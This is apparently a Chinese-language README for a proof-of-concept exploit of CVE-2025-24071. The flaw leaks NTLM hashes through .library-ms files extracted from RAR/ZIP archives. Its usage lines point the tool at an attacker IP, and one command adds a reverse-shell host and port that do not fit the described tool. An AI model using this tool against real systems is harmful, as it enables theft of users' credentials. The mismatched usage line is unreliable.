CVE-2025-24071_PoC

CVE-2025-24071：通过RAR/ZIP解压和.library-ms文件泄露NTLM哈希

Windows Explorer会在从.rar存档中提取.library-ms文件时自动发起SMB认证请求，导致NTLM哈希泄露。用户无需打开或执行该文件——只需解压即可触发泄露。

使用

>>python poc.py

>>enter file name: your file name

>>enter IP: attacker IP

>>python3 poc.py --url http://domainname.com --user admin --password password --reverse-ip 10.10.10.10 --reverse-port 8888

更新：

更新：微软已更改其CVE编号。微软先前定义的CVE编号CVE-2025-24071已更新为CVE-2025-24054。🤷‍♂